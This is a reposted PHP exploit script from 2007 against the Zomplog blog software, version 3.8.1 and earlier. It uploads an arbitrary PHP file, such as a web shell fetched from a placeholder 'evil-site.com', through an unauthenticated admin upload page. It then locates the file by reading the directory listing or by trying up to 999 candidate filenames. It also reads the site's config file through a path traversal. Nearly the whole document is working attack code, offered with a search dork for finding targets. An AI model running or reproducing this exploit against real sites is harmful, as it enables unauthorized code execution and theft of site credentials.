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Zomplog <= 3.8.1 upload_files.php Arbitrary File Upload Exploit(上传漏洞)
2007-10-02 00:34
<?php
## Zomplog <= 3.8.1 Arbitrary File Upload Exploit
## by InATeam (http://inattack.ru/)
## tested on versions 3.8.1 with security patch, 3.8.1, 3.8, 3.7.5

echo "------------------------------------------------------------\n";
echo "Zomplog <= 3.8.1 Arbitrary File Upload Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "dork: \"Powered by Zomplog\"\n";
echo "------------------------------------------------------------\n";

if ($argc<3) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] [file]\n\n";
echo "[url]   - target server where Zomplog is installed\n";
echo "[file] - file to upload (local or remote)\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/ http://evil-site.com/sh.php\n";
echo "php {$argv[0]} http://weblog.site.com:8080/ /root/sh.php\n";
echo "php {$argv[0]} http://site.com/zomplog/ sh.php\n";
die;
}
/**
* software site: http://zomplog.zomp.nl/
*
* i) /admin/upload_files.php is supposed to be run only from admin panel
* (it is included in /admin/editor.php, other admin scripts) but unathorized
* users can call it directly, because the script doesnt check if you are admin
* ii) /admin/upload_files.php allows to upload any files: it checks only
* MIME-types of the files but not the extensions. For example, it is possible
* to upload php script and then execute it
* iii) uploaded file will be moved to /upload directory and its name will
* have the format like this:
* [YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename]
* In the version 3.8.1 additional prefix is used. By default /upload is not
* protected by .htaccess, so we can get the contents of it.
* However sometimes directory listing is denied and in this case we need to
* brute the filename (max number of requests is 999)
*/
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
$file = $argv[2];
$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$filename = basename($file);
echo "[~] Getting $filename... ";
$fp = file_get_contents($file);
$fp ? print("OK\n") : die("failed\n");
$data = "--------bndry31337\r\n";
$data.= "Content-Disposition: form-data; ";
$data.= "name=\"file\"; filename=\"{$filename}\"\r\n";
$data.= "Content-Type: text/plain\r\n\r\n";
$data.= $fp."\r\n";
$data.= "--------bndry31337\r\n";
$packet = "POST {$path}admin/upload_files.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Type: multipart/form-data; boundary=------bndry31337\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;
echo "[~] Uploading {$filename}... ";
$resp = send($packet);
$exploded = explode("\r\n",$resp);
$errno=array();
preg_match('@(\d{3})@',$exploded[0],$errno);
if ($errno[1]!=200) $resp = false;
$resp ? print("OK\n") : die("failed\n");
$packet = "GET {$path}upload/ HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Connection: close\r\n\r\n";
$resp = send($packet);
if (strpos($resp, "force_download.php") !== false) {
    echo "[+] Directory listing of {$path}upload/ is allowed\n";
    $matches=array();
    if (preg_match('/(temp_)*\d{8}_\d{1,3}_'.$filename.'/',$resp,$matches)){
        $newname = $matches[0];
        echo "[+] Filename is $newname\n";
        echo "[+] {$url}upload/{$newname}\n";
    }
    else die("[-] Exploit failed\n");
}
else {
    echo "[-] Directory listing of {$path}upload/ is denied\n";
    //it is necessary to determine if prefix 'temp_' is used before the filename
    echo "[~] Getting Zomplog's version... ";
    $packet = "GET {$path}upload/force_download.php?file=../admin/config.php HTTP/1.0\r\n";
    //thx to Dj7xpl for this bug =)
    $packet.= "Host: {$host}\r\n";
    $packet.= "User-Agent: InAttack evil agent\r\n";
    $packet.= "Connection: close\r\n\r\n";
    $resp = send($packet);
    $matches=array();
    if (preg_match('@\$version = "([^"]+)";@',$resp,$matches)) {
        echo $matches[1]."\n";
        $prefix = ("3.8.1" == $matches[1]) ? 'temp_' : '';
    }
    else {
        echo "3.8.1 with sec patch\n";
        $prefix = "temp_";        }
    echo "     Bruting the filename...";
    for($i=1;$i<1000;$i++) {
        $packet = "GET {$path}upload/".$prefix.date("Ymd")."_".$i."_";
        $packet.= urlencode($filename)." HTTP/1.0\r\n";
        $packet.= "Host: {$host}\r\n";
        $packet.= "User-Agent: InAttack evil agent\r\n";
        $packet.= "Connection: close\r\n\r\n";
        $resp = send($packet);
        status();
        $exploded = explode("\r\n",$resp);
        $errno=array();
        preg_match('@(\d{3})@',$exploded[0],$errno);
        if ($errno[1]==200) {
            $newname = $prefix.date("Ymd")."_".$i."_".$filename;
            echo "[+] Filename is {$newname}\n";
            echo "[+] {$url}upload/{$newname}\n";
            die;
        }
    }
    printf("[-] Exploit failed%9s\n",'');
}
function send($packet) {
    global $host,$port;
    $ock = fsockopen(gethostbyname($host),$port);
    if (!$ock) return false;
    else {
        fputs($ock, $packet);
        $html='';
        while (!feof($ock)) $html.=fgets($ock);
    }
    return $html;
}
function status() {
    static $n;
    $n++;
    if ($n > 3) $n = 0;
    if($n==0){ print "\r[-]\r";   }
    if($n==1){ print "\r[\\]\r";   }
    if($n==2){ print "\r[|]\r";   }
    if($n==3){ print "\r[/]\r"; }
}
?>

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